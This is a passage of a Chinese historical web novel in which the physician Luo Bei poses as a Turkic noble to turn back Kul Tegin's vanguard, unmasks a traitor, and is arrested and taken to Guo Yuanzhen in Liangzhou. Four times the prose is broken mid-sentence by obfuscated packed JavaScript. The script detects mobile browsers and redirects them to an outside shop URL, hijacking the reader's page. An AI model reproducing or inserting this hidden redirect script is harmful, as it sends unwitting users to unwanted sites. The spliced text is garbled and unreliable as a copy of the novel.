“解御史。”洛北摇了摇头,没有答应他,“此地离凉州仍然有三日路程。这三日,解御史自信一定撑得住吗?” 解琬沉默不语,他何尝不明白洛北说的道理,只是眼下这个时间,他也没有其他办法——凉州都督郭元振,已经是他为这一二百人寻的最后生机了:“撑不撑得住是我的事情。就算到了最坏的地步,我身为朝廷任命的西域安抚使,还可以和这些突厥人谈判。” “以我对突厥人的了解,这些人恐怕不会和解御史谈判。”洛北抬头看向解琬,好像终于下定什么决心似的:“我有一个冒险的法子,可以保住山上与山下城镇中的百姓。但要解御史信我。” 洛北一直低垂眉眼,言辞温顺,显得颇为谦卑。但此刻他正视解琬,显露出几分凌厉。解琬几乎为他流露出的风度所慑:“你说。” “解御史知道,突厥内部争斗不休,便是阿史那家族内部,也不是铁板一块。此地偏僻,默啜不会派他的亲军前来,我们只消与附近归顺的突厥部落一道演一出戏,叫那来犯的先锋认为此城已被人捷足先登,便可劝走敌军。” 解琬有西域安抚使的头衔,调动附近归顺的突厥部落并不太难。但这出空城计实在太过冒险,他久久不能决断。 洛北见他犹豫,又温言劝道:“解御史,默啜倾巢而出,为的是粮草和人口。此地既不是战略要地,也没有油水可捞。只要冒个名目,他们是愿意放弃的。” 解琬长长地叹息一声:“我担心的不止这个,你刚刚也听到了,这次领兵的是一位可汗子侄。恐怕也得是一位同等级的突厥贵胄才能逼他退兵。而统领附近归顺部族的突厥贵族大多在长安为官。我怕我们找不出一个有胆识有气魄有风度的突厥人去陪我们唱这出空城计。” 洛北似乎是没想到他会担忧这个似的,闻言轻轻一笑:“解御史放心。这个计策是我提出来的,这出戏,自然由我亲自去唱。” “你?你能行吗?”解琬大惊失色,他从未想过洛北会说突厥话——一个临时来边关采办药材的小郎中能去哪里学突厥语呢? 洛北已经猜到他会有此一问,丝毫不乱:“我随家师在京中时,也曾经见过如今坐镇碎叶城的西突厥继往绝可汗,与一干在京的突厥贵族有过来往,如今到了这步田地,也只能死马当活马医了。” 解琬的第一个反应是怀疑。他才不相信洛北这番鬼话——要是常和这些在京的突厥贵胄来往就能学会突厥话,甚至可以在突厥人面前蒙混过关,那鸿胪寺就不用请译语人了! 但眼下只有这一个可用的办法,若是不冒这个风险,他就只有看着满镇甸的人去死。 解琬思索片刻,还是下了决断:“行,但这兵行险招的法子只能用于拖延时间。我依旧会派人找郭元振求援。洛郎中,我能信任你吗?” 洛北没有说话,只是向解琬深深颔首。 一个时辰之后,解琬手持旌节,带着洛北出现在附近归顺的突厥部族的帐篷之中。 “我是大周监察御史兼西域安抚使解琬。此来贵部,是为了突厥大军来犯一事。” 解琬的突厥语并不纯熟,他开口说了几句。那首领已经苦笑一声,大步走到一处矮柜边,拿出一沓信件,递到解琬跟前,用不太纯熟的汉话说:“解御史,您看吧。” 解琬不明所以,一眼扫过去,只看到上面满篇突厥文字:“这是什么?” “这几年来,默啜不知得了谁的建议,时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281626|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 常写信给周围归附大周的各族首领。”突厥首领继续以生疏的汉话说,“言辞恳切,很让人心动。但我不想回去。” 解琬一时怔住,不知他这时提起这句话什么意思。 “默啜要我和我的部族和他一起去打仗。”突厥首领深深地叹了口气:“可是多年征战,我的部族多剩下些老弱,实在打不了仗了。” 解琬一愣,正要解释什么。突然身边一道冷冷声音响起,说的却是突厥话: “契苾承,我不要你和你的部族同阿史那的子弟打仗。” 在场突厥人本没有人注意洛北这个衣着朴素的汉人少年,此刻听他开口,声音如玉泠泠,突厥话顺畅,不带一点汉人口音,更是直接叫出了首领名字,都有些惊讶。 那契苾承先是一怔,再起身时,手已经按在了刀柄上,他改用突厥话追问:“你是什么人?” 洛北不动如山,朗声与他对答:“我是同你一道出城去演这出戏的人。” 契苾承一时不解其意,洛北便用突厥话又解释了一遍自己的计划。他语意纯熟,一番话毕,也不逼契苾承表态,只坐在一边,拿起了那叠信慢慢地翻。 不得不说,以另外一种身份读自己几年前写的信,真是怎么读怎么别扭。 契苾承凝神沉思,下面已有个坐不住的汉子,高声用突厥语喊:“首领,我愿意陪他一道!” 他把外袍一撩,跪在地上:“他这法子虽然冒险,但是目前最可行的法子。只要把咱们族里的老弱保全,我这条命丢在外面不算什么。” 他这样一跪,带得周围也有几个人跪下来:“首领,我也一起!” “首领,我也愿意!” 洛北闻言,把那叠信件轻轻一放,只把目光看向契苾承的眼睛。那意思很简单:五千人的军队踏来,一旦城破,他这支部族也逃不过。到那个时候,怀柔还是杀鸡儆猴,全在默啜可汗一念之间。 契苾承知道他没路可选,只得咬了咬牙:“那我要把部族其他人撤入山中。” “这个自然。”解琬赶忙答应下来,“我的卫队会在要道设下伏击,全力防守。” 契苾承哈哈一笑:“那我便率领部族男儿同你一道!我们何时出发?” 洛北没有立刻答他,只垂眸一笑,烛火打在他英俊面容上,投下晦暗不明的阴影,他转用突厥语道:“不急,首领。我还想问问你部族中有没有一样东西。” “什么?” “突厥军旗。” 契苾承的部族已归附中原数十年,众人在家中一阵翻找,也不过找出来几面军旗,有做了布帘,有做了铺盖,几面残破不已的旗帜中,只有一面完整崭新。 洛北看了一眼,问道:“这是谁家的东西?” 契苾承意识到一点不对,忙吩咐道:“你去把思义叫来。” 当下便有人叫来一个四十多岁的突厥汉子,阔肩膀,一张长脸上睡眼惺忪,想是刚刚睡醒,见大帐里人聚得齐,问道:“怎么了?” “契苾思义,你私通默啜,可认罪吗?” 5. 第 5 章 那思义被押到堂前,只见一个眉目英俊的汉人少年站在堂上,开口便是一声惊雷,心下暗惊,却已经脖子一梗,反问了回去:“你是什么人?” 洛北略顿了顿,似乎在思索怎么样回答。契苾承已经先问洛北:“你为什么这么说?” 洛北以突厥语向他解释:“首领,你的部族已经归附中原近三十年,如果和突厥没有来往,他哪里来的这面崭新的军旗?” 堂上堂下众人仔细一想,竟半点反驳不得。但凭借军旗便要定人通敌之罪,还是怎么想怎么儿戏。 洛北似乎能看得出众人的疑虑,只伸手把那信件递还给契苾承:“首领当真觉得,默啜想叫贵部归附,就靠这几封信而已?” 解琬已经按捺不住:“你这是什么意思?” “默啜是在下一盘棋,”洛北解释道,“他第一年只送信件,若是部族心向突厥,自然归附。未归附的,第二年他会派遣使者,送上大礼。别忘了,古来财帛动人心。” 下首有个汉子道:“可我们首领把那些东西都退了回去!” 洛北摇了摇头:“默啜的使节远道而来,是不会把那些礼物带回去的。他们会在部族中寻找动心之人,暗中联络,等到时机成熟,便帮助他们夺下部族权力。” “你!你血口喷人,我从未与使者联络,更没想过要谋害首领!” 洛北冷笑一声,似在讥诮:“契苾思义,我从未说过你要谋害首领。” 这下众人还有什么不明白的,连那契苾思义自己都面色灰败,跌坐在地,但口中还念念有词:“不,不能这么定我的罪,你们没有证据,没有证据.......” 契苾承已经有了决断:“来啊,把他绑起来,找两个人,搜他的帐篷!” 当下便有几个大汉领命去了。不一会儿带着信件、刀兵、军旗等物折返,那契苾承看了几封信,其中已有默啜允诺契苾思义谋杀事成,率部西归的种种条件。他勃然变色,将那信件一道丢在地上:“你真要杀我!”即令众人推出去杀了。 那契苾思义磕头如捣蒜,还是被人拖了出去。帐外一声惨叫,又有人来回报,把契苾思义的头颅装在袋中,呈在契苾承面前。 解琬不免又看了一眼洛北,洛北正望着窗外,一张冠玉一样的面容上毫无表情,月色打在他脸上,冷得像冰。 解琬微微皱眉,他没想到这位少年郎中有这样杀伐决断的一面,但再多的怀疑此时也没有用了,戏必须唱下去,他依照计划带领几人将部族老弱送入山中。洛北则留在山下,带人多做了几番布置,又将那面崭新的突厥军旗挂在高处。 第二日天光大亮,洛北重新梳起突厥发辫,贴上一副泚须,换上一件翻领窄袖的绿绫袍,系上蹀躞带,足蹬长靴,身背弓箭,跨上骏马,同契苾承汇合。 蓝天高远,白云缥缈,昨夜积下薄薄一层雪花,几匹马踏过,就没了痕迹。一路有飞鸟飞过。契苾部族的汉子们见猎心喜,当即纵马出去,一时之间,箭声不绝于耳。 契苾承同洛北打马走在最后,契苾承将他上下打量了一圈,但见眼前的少年身形高大,隆鼻秀目,双眸在强烈的天光下几成透明的琥珀色,心里有些犯嘀咕:“我本来担心你扮起来不像突厥人,看起来,是我多虑了。” 洛北轻轻一笑,并不答话。实际上,自北魏时期突厥崛起之日,突厥便和中原多有往来,阿史那家族的女儿嫁进中原皇家,中原公主来到草原之上,即使是阿史那家族的子弟,也很难说自己身上没有汉人血统。 契苾承还要再问什么,忽而前面有个突厥汉子骑马飞奔回来:“首领,你看天上那只鸟!兄弟们怎么射都射不中,你可要试试!” 契苾承直身在马背上,弯弓搭箭,“嗖”的一声,向天放出一箭。一箭射出,擦着那飞鸟而过。那飞鸟只是飞行的动作顿了顿,又翻飞上天去了。 “哎呀!”那汉子露出一番可惜神情,“连首领都射不中,也不知道谁能射中。” 他目光转了几转,忽而落到洛北身上,“你,你既扮作阿史那子弟的模样,也当有几分突厥人的本事吧?” “不可无礼!”契苾承忙道。 那汉子却不服:“首领何必这样护着他,他要是连这点本事都没有,一会儿被突厥人的先锋看了出来可怎么办?” 他这里纠缠几句,倒把几个在外打猎的人都引了回来,一时之间八人齐聚,都叫着要看洛北射箭。契苾承心知弹压不住,便看向洛北。 洛北脸上没有什么表情,在众人议论的当口,他已经拿起弓箭在马上空拉空收拾了一番,感到契苾承眼神过来,只开口问了一句:“要死要活?” “什么要死要活?”契苾承也有些不解。 “这只鸟身姿灵活,飞得又高又远,应当是什么猛禽的幼鸟。”洛北解释,“若要死的,便一箭射穿;若要活的,便射伤它羽翼即可。等它支撑不住落下来,可以驯服为己用。” “好狂傲的小子!”那首先发问的突厥汉子怒而笑道,“我便要死的,如何?” 洛北微微一颔首,双腿一夹马腹,人如离弦之箭一般射了出去,行到途中,直身在马上弯弓搭箭,一箭飒沓如流星,正中那飞鸟咽喉。 那飞鸟应声而落,几个突厥汉子都是一愣,半天才喝彩起来:“好骑术、好箭术!” 契苾承暗自心惊,以洛北这一箭的力道准头,是可以乱军丛中取敌将首级的。这样的人,无论是在中原或者在突厥,都能称得上神射手了。可他久在边塞,竟然从未听过此人名号。 刚刚挑事的突厥汉子低头抱拳:“请公子恕我不恭之罪。”他与契苾思义一向交好,所以才特地借机生事——没想到洛北非但心思深沉,不可捉摸,连弓马骑射也如此了得,心下不由得又敬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281627|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 畏他了些。 洛北猜得到这些突厥人的想法,不过他也不在乎这些人对自己到底是敬大于畏,还是畏大于敬。他眼看前方旗帜飞舞,想是已经来到突厥人的驻扎之地,打了个戒备的手势,示意众人摆好队形。 一个身着戎装的突厥领队一手提着被洛北射落的飞鸟,一手拿着马鞭,向他们迎了上来。 契苾承反应极快,高声用突厥语喊道:“前面是什么人?!” 那领队看他们行装整齐,为首的少年绫袍金带,气度不凡,显然是哪家贵胄子弟,当下也不敢与他们顶撞,只躬身道出来历: “我等为阙特勤麾下,奉军令扫荡此地。” 洛北听到“阙特勤”三字,心中已经笃定起来,他佯作无聊地拨弄着马鞭,用极为傲慢的语调道:“阙特勤一向被称为勇士。怎么这次动作这么慢啊?” 契苾承和他一唱一和:“此地兵少将寡,哪里需要劳动阙特勤大驾,已经被我们顺道收下了。” 那领队怔愣片刻:“可,可是大汗军令.......” 洛北露出不耐烦的神色,一手已经把马鞭拿了起来,作势要打:“我是拓西可汗的族人。也是奉大汗军令行事,有什么问题咱们去默啜大汗面前说话!” 那领队一听“拓西可汗”四字,果然把头一缩,有些畏惧。 洛北看在眼里,将双手环抱,更加狂傲起来。 “拓西可汗”就是默啜的儿子阿史那匍俱的封号。默啜对这个儿子寄予厚望,几次出手想把他捧到继任者的位置上。默啜自己以“西面设”的身份继承了兄长的汗位,就特地封阿史那匍俱为“拓西可汗”,派他到西域去建功立业。结果阿史那匍俱被归附大周的突骑施打得节节败退,不久前灰溜溜地逃回了牙帐。 默啜要给儿子找回场子,借着这次出兵的机会打压突厥年轻一辈中最出众的阙特勤,才让阙特勤带着偏师扫荡这些镇甸。这件事情突厥人人皆知,那领队也自然如此,他心下已经信了几分,却依旧梗着脖子:“大汗的军令怎可随意冒充?不知道您有什么证据?!” 洛北从窄袖中抽出一封信,递到领队手上:“有大汗密令在此。” 领队拆开信件,心中已经凉了半截,这字迹确实与大汗素日的字迹相同,更加觉得默啜此举是为了儿子刻意打压侄子。他捧着信件,半是愤怒半是不甘,只捧着信件不知如何是好。 “拿给阙特勤看看,告诉他——” 天边飞鸟哀鸣而过,洛北背身引弓放箭,飞鸟应声而落。 风云流转之间,天光落到他流金般的琥珀色眼眸之中,照亮少年意气风发的英俊面容: “此地已经是我的猎场,让他再寻一处入关吧!” 领队哪里还敢和他争执,只得低头领命而去,命令前哨部队就地驻扎,自己点出几匹快马,往阙特勤驻扎的营地疾驰而去。 6. 第 6 章 消息传回阙特勤的中军大帐,在帐中激起一片愤怒的波澜。阙特勤此次出征,也有他父亲昔年的几位旧臣从旁辅佐,当即就有一个年近不惑,身形健硕的男人跳了起来:“默啜实在欺人太甚!” 阙特勤拿着信件正在沉思。那人已经连声叫了起来:“传令官!点出兵马!我们去把那小子和他的军队都杀了。回去就和默啜说,是唐人的部队干的。” 传令官本就候在大帐之外,闻声赶忙跑了进来,半跪在地上,任那人急吼吼地喊叫,只把一双眼睛望向阙特勤,等他发号施令。 那中年人这才讪讪地把目光看向阙特勤: “伯克,他把您调来攻打这些没有意义的地方,又写信给拓西可汗的族人,叫他务必在今日之前赶到,分明是要自己的儿子抢占您的军功。您绝不能咽下这口气!” 阙特勤没有立刻回答他,只将手指放在桌上轻轻敲了敲:“大汗既然有如此安排,我只能服从。” 这话简直不像那个血气方刚,好勇斗狠的突厥勇士,更像是日前他葬身黑沙暴中的挚友,以智计卓绝著称的乌特特勤。 帐中一时寂静下来,只听到阙特勤缓缓的踱步声。 阙特勤来到地图前,将那封密令放进了熊熊燃烧的油灯中,眼看着纸张在火焰中化为灰烬,他才开口说:“承蒙大汗天恩,将此等偏僻之地交给了拓西可汗的族人。我们应当立刻北上,去河曲之地攻打富庶的六州胡!” 六州胡是富裕的粟特人在中原的聚集地,这些商人有的是财宝金银和奴婢,但并不在阙特勤的目的地上,帐中的突厥将领面面相觑,不知道他这话是什么意思。 阙特勤见众人没有明白,也不和他们废话:“我们也是奉大汗密令行事!军令如火,大军必须马上调头北上。” 帐中这才有将领反应过来,阙特勤是要给默啜来一手瞒天过海,大汗密令素来只能秘而不宣,等到到时候带着战功、人口与财宝回到牙帐,就算默啜也说不出什么话来——他总不能说自己下密令抬高儿子打压侄子的军功吧?想到此处,他立刻出列一步,低头奉命:“末将遵命!” 有他这一表态,帐中的突厥将领人人喜笑颜开,恭候阙特勤调兵遣将,都想着去六州胡发大财。 阙特勤面色稍霁,命精锐骑兵开道,重骑兵护在两翼,步兵断后,将大军掉头北上。待到人人领命出了营帐,他才小心叫来自己的副官:“我有一项绝密使命,要差你去做。” 阙特勤的前锋部队驻扎,洛北和契苾承等人也不好就这样离开,只得在附近追逐几番猎物。 那些前哨部队的突厥士兵虽不能一起打猎,但干等总是无聊,便盯着他们骑马射箭。 队伍中大部分人都是强作镇定,手上发出去十箭得有八箭脱靶。每放一箭,便从前哨部队中传来一阵哄笑。便是契苾承,也有几箭射不着东西。 只有洛北神色镇静如常,箭无虚发,箭矢和猎物落入士兵之间时,他还呼喝那些士兵替他捡猎物,捡得慢了些便要挨他一顿训斥,几度还举起了鞭子,活脱脱一副突厥贵胄中的纨绔子弟模样。 那副官打马到阵前时,洛北正在喝令一个突厥士兵捡他射中的一只兔子,他的马鞍上已挂满了飞鸟小兽一类的猎物,伸手要东西的动作依旧理直气壮,像是真把这些士兵当成了自己的家奴。 那士兵被他催得脸色通红,趁把兔子递到洛北手上的功夫,伸手便拔刀一划。 洛北向后一仰躲过这一击,反手拔出腰间唐刀架在了士兵脖颈上:“你不想要脑袋了?!竟然敢行刺神狼的子孙!” “大人!大人!”副官忙跳下马来在其中说和,他小心翼翼地将洛北的刀刃移开,又叫士兵们把那行刺的士兵拖下去抽十鞭子,才极为恭敬地向洛北道了个大礼:“我家伯克说,既然此地已经是您的牧场,他不便染指。若有逾越之处,他愿以自己的一件心爱的宝贝赔罪。” 说罢,副官从怀里掏出一只通体温润的黑玉扳指,双手举过头顶献给洛北。 洛北是认得此物的。这枚黑玉扳指是阙特勤的父亲,突厥复国之君颉跌利施可汗的遗物,也是阙特勤一向时时佩戴,不肯离身的心爱之物。 洛北深知阙特勤为人刚烈,不肯屈居人下,如今他不仅撤军,还叫副官将心爱之物送给自己赔罪。这便说明阙特勤不仅认出了他的身份,还在借着此物向他传一句话: 旧日的友谊,他阙特勤终生不悔,永世不忘。 洛北心底情绪翻涌,面上却绝不能表露:“哼,这才像点样子。阙特勤还算是个知礼的人……” 说话之间,那士兵受完了刑,被架着正要过来禀报,洛北故作嫌恶地望了一眼,又摆手道:“让你手下的这群蠢货离我的猎场远一点!免得坏了我打猎的兴致。” 副官躬身称是,目送洛北一行人远去。 洛北等人没敢走远,进了林中就各自找地方隐蔽起来,窥伺那些士兵的动静。 不久之后,突厥的旗帜一路北上,那些士兵也各自收拾行装上路了。 待到视线里再也看不到一个突厥人的士兵,契苾承长长地叹了一口气,欣喜之情溢于言表。同来的突厥人更是欢呼雀跃,恨不得现场高歌起来。 洛北只是轻轻一笑,他深知以阙特勤的才能,率领偏师来此扫荡这些平民百姓纯是大材小用。默啜这样安排,原因不过两点,一是担心侄子立了功会对自己的儿子造成威胁。二是阙特勤在秘密处决乌特特勤这件事上办事不力。但这一次来的要不是阙特勤——他的脑袋说不定已经搬了家。 契苾承见他一个人落在后面,放缓几步,与他并肩骑行:“洛公子,怎么了?” 洛北总不能说他在想如今和阙特勤分列两方,只怕有一日要在战场上刀兵相向,打了个马虎眼:“没什么,在想他们会不会去而复返。” “我看不会。”契苾承爽朗一笑,“就凭公子刚刚那副说一不二的气势,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281628|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们绝不敢再来触公子的霉头。还有,公子刚刚脱口而出的那一句‘竟敢行刺神狼的子孙’真是绝了。我若不是事先知道公子身份,也要以为你就是神狼的后裔,阿史那家族的子孙。” 洛北哈哈大笑:“契苾首领,演个好人不容易,演个纨绔子弟还不容易吗?” 契苾承也笑起来,便没再追问他为什么心事重重。洛北也敛起思绪,跟在契苾承后面向山中行去。 早有人把大军撤退的消息传到山中,镇甸中一片又一片的欢呼之声,一行人打马入镇的时候,被当成了凯旋的英雄。 绝处逢生,山中处处洋溢着一片欢庆气氛。一行人将马鞍上的猎物解下来交给山间食肆的老板,叫他整治好了,摆几桌酒席庆贺庆贺。 解琬大手一挥:“请老板添些配菜,请满镇甸和附近部族的人一道来欢乐一番,酒钱我付!”说罢、掏出两锭银子放在桌上。 老板连声谢了,叫来帮厨的伙计抬着一溜小兽进了后厨,解琬横眼一扫:“看起来这契苾部族有神射手啊,这些兔子飞鸟都是一击毙命的。” 契苾承笑道:“解御史见笑,我手下那群小子哪有这个本事啊,是洛郎中。” “洛北……?”解琬疑惑地问了一句,那些突厥人便七嘴八舌地说起洛北一身骑射功夫实在了得,又是何等临危不惧,从容应付了那些突厥士兵。 解琬记在心里,对于这位少年郎中更添了几分怀疑——这个洛北,到底是什么来路? 晚宴之上,解琬当仁不让地坐了主位,吩咐下方开席。他出手阔绰,店家也乐得捧场,拿出了家中窖藏多年的好酒,一一奉上。契苾部族的子弟们喝多了酒,当场击鼓唱起歌来,镇甸中的汉人百姓依韵而和,双方挽着手,在酒宴边踏起歌来。 洛北自然也被拉在中间跳了两圈,待到第三圈时,他借口体力不支退了出去。酒宴已过了大半,满屋子的人都醉的醉,倒得倒。 只有解琬,因为大病初愈,只将酒略略沾一沾唇,见他离席,忙跟出来。 洛北已经卸下白日的妆容,重新将长发束起,换上汉人的粗布青衫,那衣裳在他身上随风飘荡,显出几分魏晋风度。 解琬上前一步,笑道:“洛郎中,怎么,酒席不合意?” 洛北摆了摆手:“解御史误会了,只是晚辈自幼学习岐黄,在饮食上有自己的规矩。暴饮暴食实在不可取啊。” 解琬见他答得真挚,神色略微一动。此地群山巍峨,天际之中,唯有春日月华的一点光彩:“我听闻,前来扫荡的突厥将领是突厥大汗默啜的侄子阙特勤?他在突厥素有第一勇士的名头,怎么会轻易放过此地?” 洛北心下一沉,他上下打量了一下解琬,还是回答:“以阙特勤的才能,来攻打此地本就是大材小用。他生性骄傲,绝不会这样班师回到突厥牙帐,一定会带兵攻打其他地方。” 解琬点了点头,目光灼灼地看向洛北:“你觉得他会去哪里?” 7. 第 7 章 洛北一时沉默,犹豫着是否应该答话——这样的事情本不是一个小郎中能够预测的,贸然开口,只会加深解琬对他的怀疑。 但此刻酒会欢庆,踏歌声一声激昂过一声,几个百姓提杯要来向他祝酒,其中就有收留过他的周家大哥和大嫂。他们脸上的笑容如此真挚…… 洛北举杯对他们遥祝一杯,又背过身去,看着栏杆外一片青灰的山色:“六州胡吧,那里是富裕的粟特人聚集之地,只有粟特人自己的武装保护。他们不是阙特勤的对手。等到阙特勤攻克六州胡之后,一定会直接攻击最近的城市,也就是胜州。” 解琬点了点头:“我马上修书一封,给胜州都督王珗,提醒他早做准备。”他也转身,同洛北一道看着外头的山色: “洛郎中……你可有什么话,想要对我说的?” 这是最后一次机会,解琬显然想要洛北识相些,将来龙去脉和盘托出。但对洛北自己知道,此刻远非说出一切的时候,他沉默片刻,还是说: “解御史,我冒险救了你和镇中百姓,应该已经说明了我并无恶意。” 这是解释,也是请求,但唯独不是解琬想要的回答。他叹息一声: “不错,洛郎中,这一点我毫不怀疑。可你想想,若是你我易地而处,面对这样一个来历不明,身手绝佳,又杀伐决断的人物,你会如何处置?” 解琬说着,将手中酒杯一把摔在了地上。碎瓷四裂,发出一声不大不小的声响。四周立刻有几个身着便服的卫士围了上来。 洛北苦笑了一声,以他的身手和才能,强行突围出去并不太难,但在这里如果闹出这样大的阵仗,难免让契苾部族的突厥人心生疑虑。万一要是有一两个去投了突厥那边,恐将合城百姓和阙特勤一道连累。 他不敢赌,也不能赌。 他将杯中酒一饮而尽: “解御史,就算是鸟尽弓藏,兔死狗烹,你的动作未免也太快了。你这样对我,就不怕这些契苾部的突厥人寒心吗?” “我这样做,不是为了私人仇怨,而是为了边关的安宁。洛公子——虽然我不知道这是不是你的真名。你对我有救命之恩,我没齿难忘,你冒险拯救此地百姓的功劳,我也记在心里。我会将你槛送凉州,会同凉州都督郭元振一道处置。在郭元振面前我依旧会这么说。还希望你识时务些,不要逼我在这里动起刀剑。” 洛北深深叹了口气,将腰间佩刀摘下来递给了解琬:“既然如此,解御史,我可否提一个要求?” 解琬点了点头:“洛郎中请讲。” 洛北道:“我在馆驿中还有包裹、飞鸟与宝马,连同这柄唐刀,都是我的心爱之物,可否请解御史着人妥善带走?” “洛公子放心,这些东西都算物证,我一定着人带走。”解琬顿了顿,“不到凉州,我也不会拆开这些东西查看。” “好,解御史。那么我们凉州再说。” 他们几人出了厅去,天光已经微亮。一队卫士明火执仗,手拿锁链守着马车,见到洛北施施然跟在解琬后面走了出来,几个卫士都十分迟疑:“这……老爷,咱们还要不要……” 洛北坦然一笑,伸出双手:“还是绑起来吧,绑起来,你们会更安心些。” “好吧,绑得松些。这可是一位神医的手腕。”解琬道。 洛北上了马车,不再和人说话。车帘一垂,立刻向凉州疾驰而去。 凉州城高池深,是西北商旅与军事的重镇。解琬等人赶到城外时,已是第三天的深夜,凉州城门紧闭,一队队明火执仗的士兵正在四处巡逻。 解琬和一队士兵道出来意,便有士兵前来押解要犯。 那几个士兵反拷着洛北的双手把他带出马车,他还穿着当时那身粗布青衫,脸上的胡子也长出来了。显得很是狼狈。 解琬在马上看到这一幕,不免有些怜悯之意:“你若有什么话,现在说还得来得及。” 洛北闻言,也不回头看他一眼,便在众目睽睽之下被押走了。 解琬暗自有些气结,口中念了一句:“卿本佳人,奈何做贼。”才招呼随从:“走!入城休息!” 狱中不知日夜,只有通道石墙上的油灯在泛着黄光。凉州是边塞要地,牢狱中关押着三教九流,洛北一路走过长长的走廊,一路看着那些人或哀嚎喊冤,或沉默不言。 狱卒带他路过刑房,里面血迹斑斑,空无一人。 狱卒哼了一声:“但凡要犯,进了我们这个地方,总要先吃一顿杀威棒。就是郭都督急着见你,才饶了你这遭!” 这些狱卒大多靠私刑赚些外快,这话里话外的意思是要索贿。可惜洛北既身无分文,又没有人在外焦急守候,只能沉默不语。 那狱卒见他不接话,脚下步伐变得更快了些。洛北被推得打了几个趔趄,差点跌倒在牢房之中。 原本阴森可怖的牢房中灯火明亮,地上摆着一只矮桌,矮桌上一只酒瓶,两只酒杯。一个身着红色宝相花团纹圆领袍的英武男人坐在柔软的稻草之上,正拿着杯子自斟自饮,见到他来,只微微一笑:“来,坐,我等公子好久了。” 洛北勉强跪坐在桌边,膝盖险些碰倒了酒桌、发出一阵声响。 郭元振眼疾手快,伸手抄起酒瓶,捞起酒杯:“谁叫你们把他绑起来的,快放开他。” 那狱卒有些畏惧:“都督,解御史可是说了,这是个身手极佳的要犯,嘱咐我们一定要小心行事。” “何必这么紧张?我一个带刀的人,还能怕一个手无寸铁的少年吗?”郭元振拍了拍腰间的宝剑,“解开。” 他这句话已经带了三分怒气,那狱卒不敢与他顶撞,只得乖乖奉命。洛北揉了揉手腕,抬头与郭元振对视。 郭元振饶有兴致地打量他:“你看上去既不高兴,也不害怕?” “我自突厥出逃之时,便已打定主意要到凉州来。”洛北言语平静,只是显得有点疲惫。 郭元振点了点头,从袖间摸出两张纸,一张是洛北在镇甸中写下的药方,另一张则是一封密信,言辞了了,交代了西域内附大周的西突厥和同样内附大周的突骑施的战事。 两封文件,俱是一笔褚体,笔锋顿挫之处极为相似,显然是一人所作。 “我想,以公子之审慎,在字迹上露出破绽应当是有意为之。”郭元振轻轻一笑,替他倒了杯酒:“我一直想和公子见上一面,今日终于得见,既然公子来凉州是为了投奔我,我可否请教公子几个问题?” 洛北知道郭元振一定有许多问题想要盘问,闻言也只是点头:“都督请问。” 郭元振道:“一年前我一来到凉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281629|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 州,便在书房里收到了公子的信件。公子当时为什么那么信任我?” 洛北回答:“因为郭都督以智胜吐蕃闻名天下,我断定你谙熟边事,一定能看出那封信的价值。” 洛北所说的“郭元振智胜吐蕃”是六年前,也就是万岁通天元年的事情。 当时郭元振为达成和议出使吐蕃,吐蕃大将论钦陵要求武周撤去安西四镇的守军,并求取西突厥十姓之地。 郭元振则提出以青海、吐谷浑与吐蕃交换的条件,逼迫吐蕃放弃觊觎西域的野望。 青海、吐谷浑俱是大唐旧地,大非川之败后才为吐蕃步步侵占。这两个地方可以说是扼住了吐蕃的咽喉。吐蕃当然不肯。于是安西四镇和西突厥十姓之地得以留在武周的控制之下。 后来郭元振又巧施离间计,激起了吐蕃赞普杜松芒波杰和大将论钦陵之间的猜忌。最后,吐蕃赞普杜松芒波杰率兵剿灭了论钦陵家族,只有论钦陵的几个弟弟侥幸逃出,率领旗下部族数千帐归附了大周。 郭元振见他虽然年少,却对六年前的事情十分熟悉,不由得一笑: “看来公子不仅对西域诸事了如指掌,对吐蕃及我朝的事情也十分熟悉。后来,公子与我商定在城中的宁远药铺作为联络点。” 洛北与郭元振所约定的药铺是“杏林”,郭元振这是有意说错了药铺的名字。 洛北知道他在试探自己,干脆将信息一股脑倒了出来: 